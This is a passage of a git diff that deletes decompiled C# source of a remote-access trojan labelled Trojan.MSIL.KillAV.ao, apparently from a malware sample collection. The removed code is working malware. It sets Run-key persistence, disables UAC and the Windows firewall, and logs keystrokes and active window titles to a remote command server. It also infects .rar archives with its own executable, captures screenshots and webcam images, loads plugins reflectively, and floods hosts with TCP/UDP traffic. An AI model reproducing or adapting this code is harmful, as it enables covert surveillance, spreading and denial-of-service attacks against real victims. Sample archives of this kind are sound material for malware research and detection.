(object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath; - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - B.FR = API.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - this.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - B.SU = "*"; - B.mU = "*"; - try - { - NK.Key = "HKEY_CURRENT_USER\\Software\\nKey"; - string N = "vname"; - B.Vname = NK.GetValue(ref N, ref B.Vname); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - string str1 = "FT"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - if (Operators.CompareString(NK.GetValue(ref local1, ref local2), "", false) == 0) - { - B.FT = true; - string str3 = "FT"; - ref string local3 = ref str3; - string str4 = "&"; - ref string local4 = ref str4; - NK.SetValue(ref local3, ref local4); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 4; - if (B.UU) - this.BW.B.RunWorkerAsync(); - new Thread(new ThreadStart(B.E)).Start(); - try - { - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new Thread(new ThreadStart(B.Key.Start)).Start(); - this.con(); - this.wL.Interval = 1000; - this.wL.Enabled = true; - } - - public void wL_() - { - this.wL.Enabled = false; - try - { - checked { ++this.cc; } - checked { ++this.c0; } - if (this.c2 < 5) - checked { ++this.c2; } - if (this.c2 == 5) - { - try - { - Process[] processesByName1 = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName); - int index1 = 0; - while (index1 < processesByName1.Length) - { - Process process1 = processesByName1[index1]; - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - Process[] processesByName2 = Process.GetProcessesByName("wscript"); - int index2 = 0; - while (index2 < processesByName2.Length) - { - Process process2 = processesByName2[index2]; - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - if (B.Cht.Length > 0) - { - B.Chat = new chat(); - chat.clos = false; - B.Chat.nick = B.Cht; - B.Chat.Show(); - B.Cht = ""; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Cht = ""; - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(B.SU, "*", false) != 0) - { - if (this.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 0; - } - } - if (!B.Connecting) - { - try - { - if (this.WC.Connected()) - { - if (B.ISEND) - { - checked { ++this.c3; } - string T; - if (B.FT & !B.isFT) - { - B.isFT = true; - T = "#blue"; - this.SEND(ref T); - } - if (this.c3 > 2) - { - this.c3 = 0; - bool p = false; - string str = API.A1(ref p); - if (Operators.CompareString(this.LA, str, false) != 0) - { - if (Operators.CompareString(str, "", false) != 0) - { - this.LA = str; - T = "#3" + IND.Y + this.LA; - this.SEND(ref T); - } - } - } - } - } - else - { - this.Dis(); - this.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Dis(); - this.con(); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.wL.Enabled = true; - } - - public void con() - { - B.Connecting = true; - try - { - this.CL(); - B.DS = false; - if (!B.netsh) - { - B.netsh = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.WC = new SocketsClient(); - this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1500); - B.Connecting = false; - } - - public void Dis() - { - try - { - this.CL(); - B.DS = true; - B.ISEND = false; - this.WC.Disconnect(); - this.WC = (SocketsClient) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void SEND(ref string T) - { - try - { - this.WC.SendData(this.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void W0() - { - try - { - string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - checked { ++num; } - } - while (num <= 5); - string T = "#2" + IND.Y + str + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - B.ISEND = true; - Thread.Sleep(100); - this.CL(); - B.DS = false; - } - - public void W1(string T) => this.CL(); - - public void W2() - { - this.CL(); - B.DS = true; - B.ISEND = false; - } - - public void W3(byte[] Data, int totBytes) => this.WC.AT(Data); - - private void fs_Created(object sender, FileSystemEventArgs e) - { - try - { - if (!e.FullPath.ToLower().EndsWith(".rar")) - return; - if (!File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui)) - { - try - { - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath)) - { - File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui); - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - string[] block = B.Block; - int index1 = 0; - while (index1 < block.Length) - { - string Right = block[index1]; - if (Operators.CompareString(e.FullPath, Right, false) == 0) - return; - checked { ++index1; } - } - B.Block[B.inx] = e.FullPath; - checked { ++B.inx; } - int num1 = 0; - do - { - Thread.Sleep(4000); - if (File.Exists(e.FullPath)) - { - byte[] numArray1 = File.ReadAllBytes(e.FullPath); - byte[] numArray2 = new byte[6] - { - (byte) 61, - (byte) 123, - (byte) 0, - (byte) 64, - (byte) 7, - (byte) 0 - }; - int num2 = checked (numArray2.Length - 1); - int index2 = 0; - while (true) - { - if (index2 <= num2) - { - if ((int) numArray1[checked (numArray1.Length - numArray2.Length + index2)] == (int) numArray2[index2]) - { - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "winrar", - Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - else - break; - } - else - goto label_4; - } - checked { ++num1; } - } - else - goto label_6; - } - while (num1 != 10); - goto label_21; -label_6: - return; -label_21: - return; -label_4:; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - - public class Key - { - private static Clock Clock = new Clock(); - private static Keyboard K = new Keyboard(); - - public static void Start() - { - try - { -label_8: - if (false) - return; - Thread.Sleep(10); - int i = 8; - do - { - if (B.Key.GetAsyncKeyState(i) == (short) -32767) - { - string Right = B.Key.w(); - if ((object) Right != (object) "" & (object) Right != (object) " " & Right != null & Right.Length > 0) - { - string Left; - if (Operators.CompareString(Left, Right, false) == 0) - { - string N = B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - else - { - Left = Right; - string N = B.Key.HM() + Left + "\r\n\r\n" + B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - } - } - checked { ++i; } - } - while (i <= (int) byte.MaxValue); - goto label_8; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] "; - - public static void Wrt(ref string N) - { - if (B.KON) - { - try - { - B b = MyProject.Forms.B; - string str = "X" + IND.Y + N; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.KON = false; - ProjectData.ClearProjectError(); - } - } - string str1 = "lg"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = NK.GetValue(ref local1, ref local2); - if (str3.Length > 1024000) - str3 = ""; - string str4 = "lg"; - ref string local3 = ref str4; - string str5 = str3 + N; - ref string local4 = ref str5; - NK.SetValue(ref local3, ref local4); - } - - public static string KK(ref int i) - { - string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\""; - string str = ")!@#$%^&*("; - switch (i) - { - case 8: - return "{BACKSPACE}"; - case 9: - return "{TAP}"; - case 12: - return "\r\n"; - case 13: - return "\r\n"; - case 27: - return "{ESC}"; - case 32: - return " "; - case 37: - return "{LEFT}"; - case 38: - return "{UP}"; - case 39: - return "{RIGHT}"; - case 40: - return "{DOWN}"; - case 46: - return "{DEL}"; - case 162: - return "{CTRL}"; - case 163: - return "{CTRL}"; - case 164: - return "{ALT}"; - case 165: - return "{ALT}"; - case 186: - return B.Key.u() ? ":" : ";"; - case 187: - return B.Key.u() ? "+" : "="; - case 188: - return B.Key.u() ? "<" : ","; - case 189: - return B.Key.u() ? "_" : "-"; - case 190: - return B.Key.u() ? ">" : "."; - case 191: - return B.Key.u() ? "?" : "/"; - case 192: - return B.Key.u() ? "~" : "`"; - case 219: - return B.Key.u() ? "{" : "["; - case 220: - return B.Key.u() ? "|" : "\\"; - case 221: - return B.Key.u() ? "}" : "]"; - case 222: - return B.Key.u() ? "\"" : "'"; - case 226: - return B.Key.u() ? "|" : "\\"; - default: - if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0) - return ""; - if (!B.Key.u()) - return Strings.ChrW(i).ToString().ToLower(); - try - { - int index = 0; - while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index) - { - checked { ++index; } - if (index > 9) - goto label_59; - } - return Conversions.ToString(str[index]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_59: - return Strings.ChrW(i).ToString().ToUpper(); - } - } - - public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string w() - { - string str; - try - { - IntPtr foregroundWindow = B.Key.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str = " "; - } - else - { - int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow); - string WinTitle = Strings.StrDup(checked (windowTextLength + 1), "*"); - B.Key.GetWindowText(foregroundWindow, ref WinTitle, checked (windowTextLength + 1)); - int lpdwProcessID; - B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str = WinTitle; - } - else - { - try - { - str = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = WinTitle; - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = " "; - ProjectData.ClearProjectError(); - } - return str; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs deleted file mode 100644 index 6ad9c33f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.C -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace n -{ - public class C - { - public static byte[] Plug; - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); - - public static byte[] Capture1(ref int q, ref int HWD) - { - if (HWD == 0) - HWD = API.GetForegroundWindow().ToInt32(); - if (HWD == 0) - return new MemoryStream(sc.gc(ref q)).ToArray(); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect((IntPtr) HWD, ref lpRect); - int height = checked (lpRect.bottom - lpRect.top); - if (height < 0) - height = 1; - int width = checked (lpRect.right - lpRect.left); - if (width < 0) - width = 1; - Bitmap bitmap = new Bitmap(width, height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - IntPtr hdc = graphics.GetHdc(); - C.PrintWindow((IntPtr) HWD, hdc, 0U); - graphics.ReleaseHdc(hdc); - graphics.Dispose(); - int num; - switch (q) - { - case 0: - num = 80; - break; - case 1: - num = 70; - break; - case 2: - num = 65; - break; - case 3: - num = 50; - break; - case 4: - num = 45; - break; - case 5: - num = 40; - break; - case 6: - num = 35; - break; - case 7: - num = 30; - break; - case 8: - num = 25; - break; - case 9: - num = 20; - break; - case 10: - num = 10; - break; - } - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - MemoryStream memoryStream = new MemoryStream(); - IntPtr callbackData; - bitmap.GetThumbnailImage(checked ((int) Math.Round(unchecked ((double) width / 1.4))), checked ((int) Math.Round(unchecked ((double) height / 1.4))), (Image.GetThumbnailImageAbort) null, callbackData).Save((Stream) memoryStream, encoderInfo, encoderParams); - bitmap.Dispose(); - return memoryStream.ToArray(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect); - - public struct RECT - { - public int left; - public int top; - public int right; - public int bottom; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs deleted file mode 100644 index 78098400..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Cam -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DirectX.Capture; -using Microsoft.VisualBasic; -using System; -using System.Drawing; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class Cam - { - private ComboBox Divs; - private ComboBox Comp; - private ListBox lboxDriver; - private Cam.Active CaptureInformation; - private Filters Dispositivos; - private PictureBox p; - - public Cam() - { - this.Divs = new ComboBox(); - this.Comp = new ComboBox(); - this.lboxDriver = new ListBox(); - this.Dispositivos = new Filters(); - } - - public void dispose() - { - this.CaptureInformation.CaptureInfo.DisposeCapture(); - this.CaptureInformation.CaptureInfo.Dispose(); - } - - public Image cap(ref int i) - { - this.CaptureInformation.Camera = this.Dispositivos.VideoInputDevices[i]; - this.CaptureInformation.CaptureInfo = new DirectX.Capture.Capture(this.CaptureInformation.Camera, (DirectX.Capture.Filter) null); - this.CaptureInformation.CaptureInfo.FrameCaptureComplete += new DirectX.Capture.Capture.FrameCapHandler(this.RefreshImage); - this.CaptureInformation.Counter = 1; - this.CaptureInformation.CounterFrames = 1; - this.CaptureInformation.CaptureInfo.Stop(); - this.CaptureInformation.CaptureInfo.VideoCompressor = this.Dispositivos.VideoCompressors[0]; - string[] strArray = "160x120".Split('x'); - this.CaptureInformation.CaptureInfo.FrameSize = new Size(checked ((int) Math.Round(Conversion.Val(strArray[0]))), checked ((int) Math.Round(Conversion.Val(strArray[1])))); - this.CaptureInformation.CaptureInfo.FrameRate = Conversion.Val((object) 5); - this.CaptureInformation.CaptureInfo.PreviewWindow = (Control) new Panel(); - this.CaptureInformation.CaptureInfo.CaptureFrame(); - int num; - do - { - Thread.Sleep(1); - Application.DoEvents(); - if (this.p != null) - { - Image image = (Image) this.p.Image.Clone(); - this.p.Dispose(); - return image; - } - checked { ++num; } - } - while (num != 5000); - return (Image) null; - } - - public void RefreshImage(PictureBox Frame) => this.p = Frame; - - public string Dnames() - { - this.Divs.Items.Clear(); - short num1 = checked ((short) (this.Dispositivos.VideoInputDevices.Count - 1)); - short index1 = 0; - while ((int) index1 <= (int) num1) - { - this.Divs.Items.Add((object) this.Dispositivos.VideoInputDevices[(int) index1].Name); - checked { ++index1; } - } - int num2 = checked (this.Divs.Items.Count - 1); - int index2 = 0; - string str; - while (index2 <= num2) - { - str += this.Divs.Items[index2].ToString(); - if (index2 != checked (this.Divs.Items.Count - 1)) - str += "^:^"; - checked { ++index2; } - } - return str; - } - - public struct Active - { - public DirectX.Capture.Filter Camera; - public DirectX.Capture.Capture CaptureInfo; - public int Counter; - public int CounterFrames; - public string PathVideo; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs deleted file mode 100644 index cac40799..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Delegates.T.T -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace n.Delegates.T -{ - [StandardModule] - public sealed class T - { - public static void appendText(ref Form Frm, ref byte[] D) - { - if (Frm == null || Frm.IsDisposed) - return; - if (Frm.InvokeRequired) - { - n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText); - Frm.Invoke((Delegate) method, (object) Frm, (object) D); - } - else - IND.ind(D); - } - - private delegate void DELappendText(ref Form Frm, ref byte[] D); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs deleted file mode 100644 index 62d93558..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs +++ /dev/null @@ -1,126 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.FLD -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Net.Sockets; -using System.Threading; - -namespace n -{ - public class FLD - { - public byte[] pk; - public string HOST; - public int Port; - public int Count; - private int ALV; - - public FLD() - { - this.pk = new byte[1]; - this.ALV = 0; - } - - public void Start(ref bool TCP) - { - try - { - Thread[] threadArray = new Thread[checked (this.Count + 1)]; - int num1; - do - { - Thread.Sleep(1); - int num2 = checked (threadArray.Length - 1); - int index = 0; - while (index <= num2) - { - if (threadArray[index] == null & this.ALV < 100) - { - threadArray[index] = !TCP ? new Thread(new ThreadStart(this.UDP), 1024) : new Thread(new ThreadStart(this.TCP), 1024); - threadArray[index].Start(); - } - else - checked { ++num1; } - checked { ++index; } - } - } - while (num1 != threadArray.Length); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void UDP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - UdpClient udpClient = new UdpClient(); - udpClient.Client.Connect(this.HOST, this.Port); - udpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - UdpClient udpClient1 = new UdpClient(); - try - { - udpClient1.Connect(this.HOST, this.Port); - udpClient1.Client.SendTimeout = -1; - udpClient1.Client.ReceiveTimeout = -1; - udpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - - public void TCP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - TcpClient tcpClient = new TcpClient(); - tcpClient.Client.Connect(this.HOST, this.Port); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - TcpClient tcpClient1 = new TcpClient(); - try - { - tcpClient1.Connect(this.HOST, this.Port); - tcpClient1.Client.SendTimeout = -1; - tcpClient1.Client.ReceiveTimeout = -1; - tcpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs deleted file mode 100644 index 09eaa145..00000000 --- 